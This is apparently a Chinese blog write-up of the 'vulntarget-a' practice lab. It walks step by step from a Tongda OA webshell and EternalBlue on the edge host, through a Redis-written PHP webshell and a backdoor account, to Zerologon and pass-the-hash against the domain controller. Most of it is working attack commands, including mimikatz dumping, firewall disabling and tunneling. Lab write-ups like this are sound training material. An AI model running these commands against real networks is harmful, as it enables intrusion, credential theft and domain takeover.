vulntarget-a打靶

vulntarget-a靶场复现

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#攻击机
OS:Kali 2022
外NIC:192.168.x.x (桥接模式)(与Win7-PC主机进行通信)


#Web Server
OS:Windows 7
Hostname:Win7-PC
Server:通达OA 11.3
username:win7
password:admin
外NIC:192.168.x.x (NAT模式)(与Kali通信)
内NIC:10.0.20.98 (仅主机模式)(与Win2016主机即可域成员进行通信)(能够Ping通Win2016主机)


#域成员
OS:Windows Server 2016
Hostname:win2016
Server:PHPStudy+Redis
username:vulntarget\win2016
password:Admin#123
内NIC:10.0.20.99 (仅主机模式)(与Win7即WEB主机进行通信)(能够Ping通Win7-PC主机)
内NIC:10.0.10.111 (仅主机模式)(与Win2019即域控通信)(能够Ping通Win2019主机)


#域控
OS:Windows Server 2019
Hostname:win2019
Server:AD DC
username:vulntarget\administrator
password:Admin@666
内网NIC:10.0.10.110 (仅主机模式)(与Win2016即域内成员通信)(能够Ping通Win2016主机)

一、边界主机

Web端攻击

  1. 拿到边界主机IP,先对其进行访问。按F12发现是通达OA的办公系统。

image-20230622111403820

  1. 利用通达OA的办公利用工具进行漏洞利用。获取到webshell。

  2. image-20230622111841963

  3. 利用蚁剑进行连接。成功上线。

image-20230622112151646

系统层面攻击

  1. 用nmap扫描发现主机开放135和445端口,系统版本为win7sp1版本,尝试利用永恒之蓝漏洞进行攻击。

  2. 在kali中开启MSF并调用相应模块。先搜索永恒之蓝的编号:ms17_010(正常情况下要先使用模块3进行探测是否存在永恒之蓝,由于这里是打靶,直接使用模块0,对永恒之蓝进行利用)

image-20230622113555676

1
2
3
4
use 0
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.172.132
RHOSTS => 192.168.172.132
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
  1. 出现 meterpreter > 上线MSF成功。

拿到远程桌面

  1. 输入netstat -an | findstr 3389发现边界主机并没

    有开启3389端口,在MSF中执行run post/windows/manage/enable_rdp 开启3389

  2. 在蚁剑中创建后门账户。(知识点:创建影子后门账户)

    1
    2
    net user 用户名 密码 /add
    net localgroup administrators 用户名 /add
  3. 使用windows中的mstsc或者kali中的rdesktop进行远程桌面连接。(如果实战中遇到下面这种情况,一定一定一定不要点是!!!)

image-20230622115253943

二、内网域成员主机

拿下边界主机以后在MSF中输入shell,进入该主机的命令执行端,直接执行命令会出现乱码,执行以下命令修改编码并开始收集信息…

1
2
3
4
chcp 6500165001 UTF-8代码页)
whoami
ipconfig /all
systeminfo

输入ipconfig发现当前主机有两个网段的网卡(一个公网网卡一个内网网卡):

image-20230622120842167

上传fscan,利用fscan对其内网环境进行扫描(记得关闭防火墙)

1
fcan64.exe -h 10.0.20.0/24

image-20230622160409266

但是并没有探测出其他主机…

在MSF中进行内网探测/信息收集/迁移进程/抓取明文密码/关闭防火墙…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
meterpreter>shell
chcp 65001 #设置为UTF-8代码页
net user #查看用户
hostname #查看主机名
ipconfig #查看网卡信息
systeminfo #查看信息信息
arp -a #查看内网通信主机
meterpreter>ps #查看进程信息
meterpreter>getpid #查看当前木马的进程信息
meterpreter>migrate 进程PID #将当前进程注入到其他进程中 选择64位的(隐藏木马程序)
meterpreter>load kiwi # 加载mimikazt/Shell必须64位才能加载运行KIWI模块
meterpreter>kiwi_cmd sekurlsa::logonpasswords #执行mimiakatz的命令/抓取明文密码
meterpreter>netsh advfirewall show allprofile state #查看防火墙状态
meterpreter>netsh advfirewall set allprofile state off #关闭防火墙
meterpreter>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f #使用注册表开启3389

使用arp -a发现内网中还存在一台IP为10.0.20.99 的机器

image-20230622161715896

此时想在kali中对内网主机中的99机器进行操作,而99机器并不连接外网,只能在98机器上对其进行连接。此时就需要利用MSF来创建路由,通过路由将kali与内网中的99机器连接。

image-20230622161813160

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#添加路由
use post/multi/manage/autoroute
set session 1 #输入‘sessions’查看当前会话ID
run
#扫描存活主机
use post/windows/gather/arp_scanner
set session 1
set rhosts 10.0.20.1-254
run
#添加代理
use auxiliary/server/socks_proxy
run
#扫描目标端口
use auxiliary/scanner/portscan/tcp
set ports 22-500,8000-10000
set rhosts 10.0.20.99
set threads 50
run

image.png

image.png

此时域成员主机开启了HTTP服务但是只有边界主机可以进行访问,而我们的kali无法进行访问,此时就需要在边界主机和攻击机搭建一个通信隧道来使得攻击机可以通过HTTP协议访问内网域成员主机。

image-20230622174333567

这里我们使用frp进行隧道的搭建。利用隧道我们可以实现端口的转发和流量的代理。

image-20230622175028245

我们需要将frpc(客户端)部署到目标机器上,而将frps部署到黑客的VPS(或者kali中)上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#frps.ini
[common]
bind_port = 7100

#frpc.ini
[common]
server_addr = 192.168.172.129 #外网vps地址,即服务端地址,这里为MSF的地址
server_port = 7100 #与服务端建立连接的端口,需与服务端上的frps.ini保持一致
[plugin_socks]
type = tcp
remote_port = 8090 #配置攻击主机socks代理时的代理端口
plugin = socks5 #实战中使用socks5代理
use_encryption = true #是否使用加密
use_compression = true #是否进行压缩
#注意事项
配置文件中填写时需要把注释符号去掉

先在kali中执行./frps -c frps.ini

再在目标主机上执行frpc.exe -c frpc.ini

image-20230622180402415

出现如上图所示表面搭建成功了。

正常情况下搭建好通信隧道应该用SocksCap64等工具进行利用,但是在kali中有一款工具为proxychains4来利用通信隧道。

首先配置proxychains4的代理服务器的配置文件

1
2
3
4
5
6
7
#编辑Proxychains配置文件
vi /etc/proxychain4.conf
#配置信息
socks5 127.0.0.1 8090
//socks5 MSF地址 代理端口 账号 密码
#测试链接
proxychains4 curl http://10.0.20.99/

也可以使用火狐浏览器的代理插件配置如下:

image-20230622181739922

在火狐浏览器中访问10.0.20.99也可以成功。

image-20230622181938348

此时我们已经可以访问99机器,这时我们利用工具dirsearch

对网站目录进行扫描……

image-20230622182614117

可以看到是存在l.php/phpinfo.php/index.php三个目录,对其目录进行访问进一步进行信息收集……

image-20230622182833066

image-20230622182853422

此时可以确定该主机利用phpstudy搭建的web服务,之前扫描中又爆出该主机开放6379端口,为redis的默认端口,redis存在未授权访问漏洞,此时我们尝试连接登录内网主机的Redis服务发现未设置密码,即可尝试写入一句话木马…Success

主要是因为配置不当,导致未授权访问漏洞。进一步将恶意数据写入内存或者磁盘之中,造成更大的危害,配置不当一般主要是两个原理:

  1. 配置登录策略导致任意机器都可以登录 redis。
  2. 未设置密码或者设置弱口令。
1
2
3
4
5
6
7
#Redis链接
proxychains4 redis-cli -h 10.0.20.99
#Redis写木马
config set dir C:/phpStudy/PHPTutorial/WWW/ #调整服务器配置路径
config set dbfilename 4pts.php #生成文件
set 1 "<?php eval($_POST['cmd']);?>" #写入文件
save #保存操作

image-20230623082214290

访问10.0.20.99/4pts.php,发现其中没有set的一句话木马,说明漏洞利用成功。

image-20230623082418143

之后我们用本地主机的蚁剑去连接。此时无法直接连接,需要走kali的socks5代理,在蚁剑中的代理设置中进行配置:

image-20230623082847322

代理服务器为kali的IP地址,端口为之前用kali中proxychains4的配置端口。

测试成功后连接10.0.20.99/4pts.php。继续信息收集一波……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#执行命令
hostname
ipconfig /all
tasklist /svc
net time /domain
net group "Domain Computers" /doamin
net group "Domain Controllers" /domain
net group "enterprise admins" /domain
#收集信息
OS:Wins16
AV:Windows Defender
Domain:vulntarget.com
Domain Admins:Administrator
Domain Controller:WIN2019$
NIC:10.0.20.99/10.0.10.111

发现该机器为win2016并且也有两个网段的网卡,说明还有内网中还有其他机器。

image-20230623083419479

使用tasklist命令看是否运行着一些防病毒软件。

image-20230623083617809

确实有一个windows自带的防护软件,此时需要使用命令进行关闭。

1
netsh firewall set opmode mode=disable

image-20230623084044535

可以看到公用网络的防火墙确实关闭了,但是域网络防火墙并没有关闭,此时需要利用MSF生成一个正向的木马并对木马进行免杀上传到目标主机。

这里需要使用viper这款工具来生成免杀木马。

image-20230623104521780

image-20230623104616711

通过蚁剑上传到目标主机点击执行以后可以看到6666端口被占用说明木马上传成功。

image-20230623104832510

此时在kali的MSF中打开监听上线木马程序。

1
2
3
4
5
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 6666
set RHOST 10.0.20.99
run

image-20230623105258959

输入background/bg将该程序放到后台。(因为之前失败了几次导致会话比较乱o(╥﹏╥)o)

image-20230623110514687

添加路由:

1
2
3
#添加路由
use post/multi/manage/autoroute
set session 4

添加并修改代理(默认为1080端口):

1
2
3
#添加代理
use auxiliary/server/socks_proxy
run

此时我们还要修改proxychains4的代理配置将其端口修改为1080端口,丢弃掉之前用于搭建边界主机通信隧道的frp代理端口。

(这里当然也可以在win2016中再加一个frp的通信隧道连接2019,但是MSF更加稳定,所以这里通过直接开启MSF的Socks5代理,利用之前在win7和win2016中建立的路由直接访问win2019)

三、域控

继续进行信息收集:

1
2
3
4
5
6
#域控判断
ipconfig /all -->获取DNS服务器地址:10.0.10.110
net time /doamian -->获取域控地址:win2019.vulntarget.com
ping win2019.vulntarget.com --> 返回地址:10.0.10.110
#Nmap扫描
proxychains nmap -Pn -sT -p 80,443,8080,445,139 10.0.10.110

至此已经获取内网中域成员服务器也已经定位域控位置,接下来目标就是拿下域控,在此可直接尝试域控漏洞来进行权限提升:

  1. CVE-2020-1472
  2. CVE-2022–26923
  3. CVE-2021-42287&42278

这里尝试第一种域内提权手法…

这里需要注意:将proxychains的代理配置改成MSF所起的代理信息…

这里需要准备准备CVE-2020-1472Impacket下载到Kali主机上…

1
2
3
4
5
6
#CVE-2021-1472
https://github.com/dirkjanm/CVE-2020-1472
#Impacket
https://github.com/SecureAuthCorp/impacket
#after downlad
python3 -m pip install -r requirements.txt

利用CVE-2020-1472打空域控机器的密码……

image-20230623112129672

绑定通往目标域的Host文件信息并使用impactet获取域控的Hash信息…

1
2
3
4
5
#域名信息编辑
vi /etc/hosts
10.0.10.110 vulntarget.com
#impactet
proxychains python3 secretsdump.py vulntarget.com/WIN2019\$@10.0.10.110 -just-dc -no-pass

使用抓取的Hash值横向倒域控的CMD下…

1
2
3
4
方式一:
proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 administrator@10.0.10.110
方式二:
proxychains python3 psexec.py vulntarget.com/administrator@10.0.10.110 -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15

image-20230623113942986

使用John破解管理员密码…得出密码为Admin@@666

1
john --wordlist=./pass.txt ./hash.txt --format=NT

开启RDP服务并在防火墙中添加规则对其放行…远程桌面链接!

1
2
3
4
5
6
7
8
9
10
11
#开启RDP
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
#防火墙放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
#关闭防火墙
netsh advfirewall show allprofile state //查看状态
netsh advfirewall set allprofile state off //关闭防火墙
#远程链接
proxychains rdesktop 10.0.10.110
username:vulntarget\administrator
password:Admin@666

vulntarget-a打靶
https://jsweetcoffee.github.io/posts/d6f0653f.html
作者
SCxiaoyun
发布于
2023年8月2日
许可协议